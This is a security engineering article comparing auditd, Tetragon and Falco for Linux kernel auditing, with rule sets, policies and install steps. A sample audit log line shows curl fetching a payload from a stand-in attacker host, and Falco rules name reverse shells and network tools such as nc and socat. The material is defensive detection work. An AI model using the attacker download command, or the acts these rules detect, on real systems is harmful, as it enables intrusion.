Every process on a Linux system talks to the kernel through system calls. File opens, network connections, privilege changes, process executions — all of it flows through a narrow interface that the kernel controls. If you can observe that interface, you can see everything that happens on the system.

The question is not whether to audit your kernel. The question is which tool to use, what trade-offs you are willing to accept, and how to turn raw telemetry into actionable security signals.

Most organizations either audit too little (and miss critical events) or audit too much (and drown in noise they never look at). This article is about finding the right balance.

This is Part 1 of a three-part series on Linux Kernel Security. Part 2 will cover log collection and centralization pipelines. Part 3 will address detection engineering and incident response workflows built on top of the telemetry we configure here.

The Three Contenders

There are three dominant approaches to Linux kernel auditing in 2026:

FeatureauditdTetragon (eBPF)Falco (eBPF)
ArchitectureKernel audit subsystem + userspace daemoneBPF programs attached to kernel hookseBPF probe on syscall interface
Kernel requirementAny Linux kernel (2.6+)Linux 5.x+ (BTF recommended)Linux 4.14+ (eBPF driver) or kernel module
Container awarenessNone (sees PIDs only)Full (namespace, pod, container metadata)Full (container ID, image, namespace)
EnforcementNo (detection only)Yes (can kill processes, block syscalls)No (detection only, alert-based)
Output formatCustom key=value log linesJSON (structured events)JSON or gRPC (structured events)
OverheadLow-moderate (10-15% CPU at aggressive tuning)Very low (<1-5% typical)Low (eBPF driver)
CNCF statusN/A (Linux kernel project)Sandbox (Cilium/Isovalent)Graduated
Primary use caseCompliance, forensicsSecurity observability + enforcementRuntime threat detection

Each tool makes fundamentally different architectural choices. Understanding those choices is the key to deploying them effectively.

auditd: The Kernel’s Native Audit Framework

auditd has been part of the Linux kernel since 2.6. It is the reference implementation for system auditing, mandated by compliance frameworks like PCI-DSS, HIPAA, and SOC2. If you run Linux in production, auditd is almost certainly already installed.

Architecture

The audit framework operates at two levels:

  1. Kernel component — intercepts syscalls, file accesses, and security events based on configured rules, then writes audit records to a netlink socket.
  2. Userspace daemon (auditd) — reads events from the netlink socket and writes them to /var/log/audit/audit.log.

Two configuration files control its behavior:

  • /etc/audit/auditd.conf — daemon settings: log file location, rotation policy, disk full action, flush frequency.
  • /etc/audit/rules.d/*.rules — audit rules loaded by auditctl at boot.
1
2
3
4
5
6
7
8
# Check if auditd is running
systemctl status auditd

# List currently loaded rules
auditctl -l

# Check audit status
auditctl -s

Understanding auditd Log Types

This is where most people get lost. auditd does not produce simple, single-line log entries. A single auditable event generates multiple related records tied together by a common audit ID. Understanding these record types is essential for forensic analysis and SIEM rule writing.

Record TypeDescriptionWhen Generated
SYSCALLThe core record — captures which syscall was invoked, by whom, with what resultEvery audited syscall
EXECVEFull command-line arguments for process executionWhen execve() is audited
PATHFile path information (name, inode, mode, owner)File-related syscalls
CWDCurrent working directory of the processAccompanies PATH records
PROCTITLEFull process title (encoded)Every audited event
USER_AUTHAuthentication attempt (PAM-based)Login, sudo, su
USER_ACCTAccount status checkLogin flows
USER_CMDCommand executed via sudosudo invocations
CRED_ACQCredential acquisitionLogin, su, sudo
CRED_DISPCredential disposalLogout, session end
ANOM_ABENDAbnormal process terminationCrash, segfault, killed
NETFILTER_CFGFirewall rule modificationiptables/nftables changes

Here is what a single execve event looks like in the audit log — note how it spans multiple lines:

1
2
3
4
5
6
# All lines share the same audit ID: 1234567
type=SYSCALL msg=audit(1712000000.123:1234567): arch=c000003e syscall=59 success=yes exit=0 a0=... a1=... a2=... a3=... items=2 ppid=1000 pid=1001 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="curl" exe="/usr/bin/curl" key="exec_monitoring"
type=EXECVE msg=audit(1712000000.123:1234567): argc=3 a0="curl" a1="-s" a2="http://attacker.com/payload"
type=CWD msg=audit(1712000000.123:1234567): cwd="/home/user"
type=PATH msg=audit(1712000000.123:1234567): item=0 name="/usr/bin/curl" inode=12345 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL
type=PROCTITLE msg=audit(1712000000.123:1234567): proctitle=6375726C002D7300687474703A2F2F...
The auid field (audit UID) is one of the most important fields in auditd. It tracks the original login UID of the user, even across su and sudo transitions. If a user logs in as jdoe (uid=1000) and then runs sudo su -, the uid and euid fields will show 0 (root), but auid will still show 1000. This is how you trace actions back to the human who initiated them.

Installation

auditd is available on virtually every Linux distribution:

1
2
3
4
5
6
7
8
# Debian/Ubuntu
apt install auditd audispd-plugins

# RHEL/CentOS/Fedora
dnf install audit

# Arch Linux
pacman -S audit

It starts automatically and requires zero external dependencies. This is its greatest strength for compliance-driven environments.

Must-Have auditd Rules

The following ruleset is adapted from Neo23x0’s production auditd configuration, which is the de-facto starting point for security-focused auditd deployments:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# /etc/audit/rules.d/security.rules

# ---- Performance tuning ----
# Buffer size — increase for high-throughput systems
-b 8192
# Fail gracefully (0=silent, 1=printk, 2=panic)
-f 1

# ---- Self-auditing ----
# Watch auditd config files for tampering
-w /etc/audit/ -p wa -k audit_config
-w /etc/libaudit.conf -p wa -k audit_config
-w /etc/audisp/ -p wa -k audit_config

# ---- Process execution ----
# Monitor all process executions (critical for threat detection)
-a always,exit -F arch=b64 -S execve -k exec_monitoring
-a always,exit -F arch=b32 -S execve -k exec_monitoring

# ---- Privilege escalation ----
# Monitor setuid/setgid calls
-a always,exit -F arch=b64 -S setuid -S setgid -S setreuid -S setregid -k priv_escalation
# Monitor sudo and su
-w /usr/bin/sudo -p x -k priv_escalation
-w /usr/bin/su -p x -k priv_escalation
-w /etc/sudoers -p wa -k priv_escalation
-w /etc/sudoers.d/ -p wa -k priv_escalation

# ---- Credential access ----
# Monitor sensitive authentication files
-w /etc/passwd -p wa -k credential_access
-w /etc/shadow -p wa -k credential_access
-w /etc/group -p wa -k credential_access
-w /etc/gshadow -p wa -k credential_access

# ---- Persistence mechanisms ----
# Cron jobs
-w /etc/crontab -p wa -k persistence
-w /etc/cron.d/ -p wa -k persistence
-w /var/spool/cron/ -p wa -k persistence
# Systemd services
-w /etc/systemd/ -p wa -k persistence
-w /usr/lib/systemd/ -p wa -k persistence
# SSH authorized keys
-w /root/.ssh/ -p wa -k persistence
# Kernel modules
-a always,exit -F arch=b64 -S init_module -S finit_module -k kernel_module

# ---- Network activity ----
# Monitor network socket creation
-a always,exit -F arch=b64 -S connect -k network_connect
-a always,exit -F arch=b64 -S accept -k network_connect

# ---- Defense evasion ----
# Log deletion and timestomping
-a always,exit -F arch=b64 -S unlink -S rename -F dir=/var/log -k log_tampering
-a always,exit -F arch=b64 -S utimensat -S futimesat -k timestomping

# ---- Make rules immutable (must be last) ----
-e 2
The -e 2 flag makes the audit rules immutable. Once set, rules cannot be changed without a reboot. This prevents an attacker who gains root from disabling auditing. Always put this as the last rule, and test your configuration thoroughly before enabling it in production.

Querying auditd Logs

auditd ships with powerful search and reporting tools:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Search for all process executions by a specific user
ausearch -k exec_monitoring --uid 1000 --interpret

# Find all failed login attempts in the last hour
ausearch -m USER_AUTH --success no --start recent

# Generate a summary report of authentication events
aureport --auth --summary

# Find events related to a specific file
ausearch -f /etc/shadow --interpret

# Export events in a format suitable for SIEM ingestion
ausearch -k priv_escalation --format csv

auditd: Pros and Cons

Pros:

  • Universally available on Linux — no dependencies, no kernel version requirements
  • Compliance frameworks explicitly reference it (PCI-DSS 10.2, HIPAA audit controls)
  • Immutable rules prevent attacker tampering post-compromise
  • Tracks auid across privilege changes for complete user attribution
  • Mature tooling (ausearch, aureport, audispd for log forwarding)

Cons:

  • No container awareness — cannot distinguish container PID namespaces from host processes
  • Verbose, multi-line log format requires correlation by audit ID
  • Performance impact at aggressive rule sets (10-15% CPU overhead in production)
  • Rules operate on syscall numbers, not semantic events — steep learning curve
  • No enforcement capability — detection only

Tetragon: eBPF-Powered Kernel Observability and Enforcement

Tetragon, originally developed by Isovalent (the company behind Cilium) and now a CNCF project, represents the eBPF-native approach to kernel security. It attaches eBPF programs directly to kernel functions and tracepoints, collecting security telemetry with minimal overhead.

Architecture

Unlike auditd, which hooks into the kernel’s audit subsystem, Tetragon attaches eBPF programs to:

  • Tracepoints — stable kernel instrumentation points
  • Kprobes/kretprobes — dynamic hooks on any kernel function
  • LSM hooks — Linux Security Module attachment points for enforcement

This means Tetragon can observe not just syscalls, but any internal kernel function — giving it deeper visibility than auditd.

┌─────────────────────────────────────────┐
│              Userspace                  │
│  ┌──────────┐     ┌──────────────────┐  │
│  │ tetragon │◀────│  TracingPolicy   │  │
│  │  agent   │     │    (CRD/YAML)    │  │
│  └────▲─────┘     └──────────────────┘  │
│       │                                  │
├───────┼──────────────────────────────────┤
│       │         Kernel Space            │
│  ┌────┴─────┐  ┌───────────┐            │
│  │  eBPF    │──│ Kprobes / │            │
│  │ programs │  │ LSM hooks │            │
│  └──────────┘  └───────────┘            │
└─────────────────────────────────────────┘

Installation

Tetragon can run as a standalone daemon or as a Kubernetes DaemonSet:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Standalone installation on Linux
# Requires kernel 5.x+ with BTF (BPF Type Format) support
curl -LO https://github.com/cilium/tetragon/releases/latest/download/tetragon-linux-amd64.tar.gz
tar xzf tetragon-linux-amd64.tar.gz
sudo ./tetragon --bpf-lib ./bpf/

# Kubernetes installation via Helm
helm repo add cilium https://helm.cilium.io
helm install tetragon cilium/tetragon -n kube-system

# Verify kernel BTF support
ls /sys/kernel/btf/vmlinux && echo "BTF supported" || echo "BTF not available"
Kernel requirements matter. Tetragon needs a kernel with BTF support for full functionality. Most distributions shipping kernel 5.8+ have this enabled by default. On older kernels, Tetragon’s capabilities are significantly reduced. Check your kernel config with zgrep CONFIG_DEBUG_INFO_BTF /proc/config.gz.

Must-Have Tetragon Policies

Tetragon uses TracingPolicy resources (YAML) to define what to observe and enforce:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Process execution monitoring with full context
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: process-execution
spec:
  tracepoints:
    - subsystem: "raw_syscalls"
      event: "sys_enter"
      args:
        - index: 4
          type: "int64"
      selectors:
        - matchArgs:
            - index: 4
              operator: "Equal"
              values:
                - "59"   # execve syscall number
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# File integrity monitoring — detect reads of sensitive files
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: sensitive-file-access
spec:
  kprobes:
    - call: "fd_install"
      syscall: false
      args:
        - index: 0
          type: "int"
        - index: 1
          type: "file"
      selectors:
        - matchArgs:
            - index: 1
              operator: "Prefix"
              values:
                - "/etc/shadow"
                - "/etc/passwd"
                - "/root/.ssh/"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Network observability — monitor outbound TCP connections
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: network-monitoring
spec:
  kprobes:
    - call: "tcp_connect"
      syscall: false
      args:
        - index: 0
          type: "sock"

Where Tetragon truly differentiates itself is enforcement. Unlike auditd and Falco, Tetragon can kill processes or block syscalls directly in the kernel:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Kill any process that attempts to load a kernel module
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-kernel-modules
spec:
  kprobes:
    - call: "__x64_sys_init_module"
      syscall: true
      selectors:
        - matchActions:
            - action: Sigkill  # Terminate the process immediately

Tetragon: Pros and Cons

Pros:

  • Extremely low overhead (eBPF runs in kernel space, no context switching)
  • Full container and Kubernetes awareness (pod, namespace, container metadata)
  • Enforcement capability — can block threats in real-time, not just alert
  • Structured JSON output — native integration with modern SIEM/observability stacks
  • Deep kernel visibility beyond syscalls (kprobes on internal functions)

Cons:

  • Requires modern kernel (5.x+ with BTF) — not available on older enterprise distributions
  • Policy language is powerful but complex — steeper learning curve than Falco rules
  • Smaller community and rule ecosystem compared to Falco
  • Enforcement mode carries operational risk if misconfigured
  • Less mature than auditd for compliance and audit trail requirements

Falco: Cloud-Native Runtime Threat Detection

Falco, a CNCF-graduated project, sits between auditd and Tetragon in terms of approach. It uses eBPF (or a kernel module on older systems) to tap into the syscall interface, then applies a human-readable rule engine to generate alerts.

Architecture

Falco’s design prioritizes ease of detection rule authoring:

  1. eBPF driver captures syscall events in kernel space
  2. Falco engine in userspace evaluates events against rules
  3. Output channels route alerts to stdout, files, gRPC, HTTP webhooks, or Slack/PagerDuty

The rule language is Falco’s killer feature — it abstracts away syscall numbers and raw kernel data behind readable conditions:

1
2
3
4
5
6
7
8
# This is readable. Compare it to an equivalent auditd rule.
- rule: Shell Spawned in Container
  condition: >
    spawned_process and container and proc.name in (bash, sh, zsh, dash)
  output: >
    Shell spawned in container (user=%user.name command=%proc.cmdline
    container=%container.name image=%container.image.repository)
  priority: WARNING

Installation

Falco supports multiple installation methods:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# Debian/Ubuntu — install with eBPF driver (recommended)
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc | \
  sudo gpg --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
  https://download.falco.org/packages/deb stable main" | \
  sudo tee /etc/apt/sources.list.d/falcosecurity.list
sudo apt update && sudo apt install -y falco

# Kubernetes — install via Helm (most common deployment)
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace falco --create-namespace \
  --set falcosidekick.enabled=true \
  --set falcosidekick.webui.enabled=true

# Docker — for quick testing
docker run --rm -i -t \
  --privileged \
  -v /var/run/docker.sock:/host/var/run/docker.sock \
  -v /proc:/host/proc:ro \
  falcosecurity/falco

Falco’s installation story is significantly smoother than Tetragon’s, especially for Kubernetes deployments. The Helm chart includes sensible defaults and ships with a comprehensive default ruleset.

Must-Have Falco Rules

Falco ships with hundreds of default rules. Here are custom additions that cover critical detection gaps:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Detect reverse shells
- rule: Reverse Shell Detected
  desc: >
    A process redirected stdin/stdout to a network connection,
    indicating a potential reverse shell
  condition: >
    spawned_process and container and
    (proc.name in (bash, sh, zsh, dash, nc, ncat) and
     evt.type=dup and fd.type=ipv4)
  output: >
    Reverse shell detected (user=%user.name command=%proc.cmdline
    connection=%fd.name container=%container.name
    image=%container.image.repository)
  priority: CRITICAL
  tags: [container, mitre_execution, T1059]

# Detect container escape attempts
- rule: Mount Namespace Manipulation
  desc: Detects attempts to manipulate mount namespaces (container escape)
  condition: >
    syscall.type in (mount, umount2) and container
    and not proc.name in (mount, umount)
  output: >
    Mount namespace manipulation in container (user=%user.name
    command=%proc.cmdline container=%container.name
    image=%container.image.repository)
  priority: CRITICAL
  tags: [container, mitre_privilege_escalation]

# Detect cryptominer indicators
- rule: Suspicious Network Tool in Container
  desc: Network reconnaissance or data exfiltration tools launched in container
  condition: >
    spawned_process and container and
    proc.name in (nc, ncat, nmap, socat, wget, curl) and
    not proc.pname in (apt, apt-get, yum, dnf, pip, npm)
  output: >
    Suspicious network tool in container (user=%user.name
    command=%proc.cmdline container=%container.name
    image=%container.image.repository)
  priority: WARNING
  tags: [container, mitre_discovery]

# Detect writes to sensitive directories
- rule: Write to RPM or DPKG Database
  desc: Package manager database modified outside of package management
  condition: >
    open_write and container and
    (fd.name startswith /var/lib/rpm or fd.name startswith /var/lib/dpkg) and
    not proc.name in (rpm, dpkg, yum, dnf, apt, apt-get)
  output: >
    Package database modified (user=%user.name command=%proc.cmdline
    file=%fd.name container=%container.name)
  priority: HIGH
  tags: [container, mitre_persistence]

Falco: Pros and Cons

Pros:

  • CNCF-graduated with a large, active community and extensive default rules
  • Human-readable rule language — significantly lower barrier than raw auditd or Tetragon policies
  • Full container and Kubernetes context in every event
  • Rich output ecosystem (Falcosidekick supports 50+ output targets)
  • Supports both eBPF driver and kernel module (broader kernel compatibility)

Cons:

  • Detection only — cannot enforce or block threats at runtime
  • Userspace rule evaluation adds latency compared to pure eBPF enforcement
  • High-volume environments may need tuning to avoid alert fatigue
  • eBPF driver still requires kernel 4.14+ (kernel module is an alternative but less secure)
  • Rules focus on container workloads — bare-metal server monitoring is less mature

Choosing the Right Tool (Or Using Multiple)

The right choice depends on your environment and requirements:

ScenarioRecommended Tool(s)
Compliance-driven bare-metal serversauditd — it is the standard, auditors know it
Kubernetes clusters running microservicesFalco — container-native, great default rules
High-security environments needing enforcementTetragon — observe and block in kernel space
Hybrid (compliance + runtime detection)auditd + Falco — auditd for audit trail, Falco for alerting
Enterprise Kubernetes with zero toleranceTetragon + Falco — Tetragon enforces, Falco alerts and integrates with SIEM
These tools are not mutually exclusive. Running auditd alongside Falco is a common production pattern. auditd provides the immutable, compliance-grade audit trail that auditors require, while Falco provides real-time alerting with container context that your security operations team needs. The CPU overhead of running both is manageable when rules are properly tuned.

A Practical Starting Point

If you are starting from scratch, here is a pragmatic rollout plan:

Week 1 — Deploy auditd everywhere. Use the Neo23x0 ruleset as your baseline. Focus on execve monitoring, privilege escalation, and credential access. This gives you immediate forensic capability.

Week 2 — Deploy Falco on container hosts. Start with the default rules. Tune out the noise from your known workloads. Connect Falcosidekick to your alerting channel.

Week 3 — Evaluate Tetragon for enforcement. Deploy in observation-only mode on a non-critical cluster. Write policies for your highest-risk scenarios (kernel module loading, namespace manipulation). Only enable enforcement after a full observation cycle.

Ongoing — Iterate on rules. Map your rules to MITRE ATT&CK techniques. Track coverage gaps. Treat your detection rules like code: version-controlled, tested, reviewed.

Conclusion

Linux kernel auditing is not a solved problem with a single tool. auditd gives you the compliance-grade, tamper-resistant audit trail that has been the foundation of Linux security for two decades. Tetragon gives you eBPF-native kernel observability with the unique ability to enforce policy at the kernel level. Falco gives you a cloud-native detection engine with a rule language that security teams can actually read and maintain.

The mature approach is to layer them. Use auditd for compliance and forensic depth. Use Falco or Tetragon for real-time detection and container-aware alerting. And treat all of it as raw telemetry that feeds into a centralized detection pipeline — which is exactly what we will build in Part 2.

The kernel sees everything. Make sure you are watching it back.


References: